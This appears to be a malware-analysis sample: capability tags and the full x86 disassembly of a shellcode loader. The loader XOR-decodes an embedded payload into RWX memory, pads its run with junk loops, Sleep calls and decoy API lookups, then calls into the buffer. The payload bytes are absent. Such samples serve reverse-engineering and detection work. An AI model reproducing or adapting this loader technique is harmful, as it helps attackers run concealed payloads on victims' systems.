Function at 0x401240
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
push ebx
mov ebx, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
push esi
push edi
push 0xc
call ebx
mov edi, eax
add esp, 4
test edi, edi
je 0x4012d1
push 0xc
mov dword [edi], 3
mov dword [edi + 4], 4
call ebx
mov ebx, eax
add esp, 4
mov dword [edi + 8], ebx
test ebx, ebx
je 0x4012d1
xor esi, esi
nop
push 0x10
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [esi + ebx], eax
test eax, eax
je 0x4012d1
add esi, 4
cmp esi, 0xc
jl 0x401280
mov ebx, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor esi, esi
mov eax, dword [edi + 8]
push dword [eax + esi*4]
call ebx
inc esi
add esp, 4
cmp esi, dword [edi]
jl 0x4012a2
push dword [edi + 8]
call ebx
add esp, 4
push edi
call ebx
add esp, 4
push 9
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
jne 0x4012d9
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add esp, 4
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 4
xor esi, esi
lea ebx, [esi + 0x3e]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
idiv ebx
mov al, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789]
mov byte [esi + edi], al
inc esi
cmp esi, 8
jl 0x4012f3
mov ebx, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
push edi
mov byte [edi + 8], 0
call ebx
add esp, 4
push 0x40
push 0x1000
push 0x2aed8
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esp + 0x14], eax
test eax, eax
je 0x40159b
xor ecx, ecx
mov esi, 0xa
mov eax, ecx
cdq
idiv esi
mov al, byte [edx + str.2371_45_68]
xor byte [ecx + 0x404018], al
inc ecx
cmp ecx, 0x2aed7
jb 0x401342
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
push 0
call ebx
mov al, byte [esi + 0x404018]
add al, 3
mov byte [esi + 0x45a130], al
inc esi
cmp esi, 0x2aed8
jb 0x401364
push 0x42
call fcn.004010c0
add esp, 4
mov esi, 0x31
nop
push 0
call ebx
sub esi, 1
jne 0x401390
nop dword [eax]
push 0
call ebx
mov al, byte [esi + 0x45a130]
sub al, 3
mov byte [esi + 0x42f258], al
inc esi
cmp esi, 0x2aed8
jb 0x4013a0
mov dword [esp + 0x10], 0
push 9
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
je 0x4012d1
xor esi, esi
lea ebx, [esi + 0x3e]
nop dword [eax]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
xor edx, edx
div ebx
mov al, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov byte [esi + edi], al
inc esi
cmp esi, 8
jl 0x4013e0
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
push edi
mov byte [edi + 8], 0
call esi
mov eax, dword [esp + 0x14]
add esp, 4
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
inc eax
mov dword [esp + 0x10], eax
cmp eax, 0xb
jl 0x4013c3
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add esp, 4
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 4
mov edi, 0xc
call fcn.00401150
push eax
call esi
add esp, 4
sub edi, 1
jne 0x401437
call fcn.00401150
mov esi, eax
call fcn.00401150
push esi
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov edi, eax
call esi
add esp, 4
push edi
call esi
add esp, 4
push 1
call ebx
push 0x4b
call fcn.004010c0
add esp, 4
push 0x2aed8
push 0x404018
push 0x485008
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0x2aed8
push 0x485008
push dword [esp + 0x1c]
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0x403138
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x4014d2
push str.Error:_Could_not_get_the_module_handle_for_kernel32.dll_n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401010
add esp, 8
jmp 0x4014fb
push str.GetTickCount
push eax
call edi
test eax, eax
jne 0x4014f9
push str.Error:_Could_not_find_the_GetTickCount_function_in_kernel32.dll_n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401010
add esp, 8
jmp 0x4014fb
call eax
mov esi, 0x3e8
push 0
call ebx
sub esi, 1
jne 0x401500
push 0x403138
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40159b
push str.CompareStringW
push eax
call edi
test eax, eax
je 0x40159b
push 0xffffffffffffffff
push str.banana
push 0xffffffffffffffff
push str.apple
push esi
push 0x400
call eax
push str.Executing_code_n
call fcn.00401040
add esp, 4
push str.Executing_code_n
call fcn.00401040
add esp, 4
push str.Executing_code_n
call fcn.00401040
add esp, 4
push str.Executing_code_n
call fcn.00401040
add esp, 4
push str.Executing_code_n
call fcn.00401040
mov ebx, dword [esp + 0x18]
add esp, 4
call ebx
push 0x8000
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret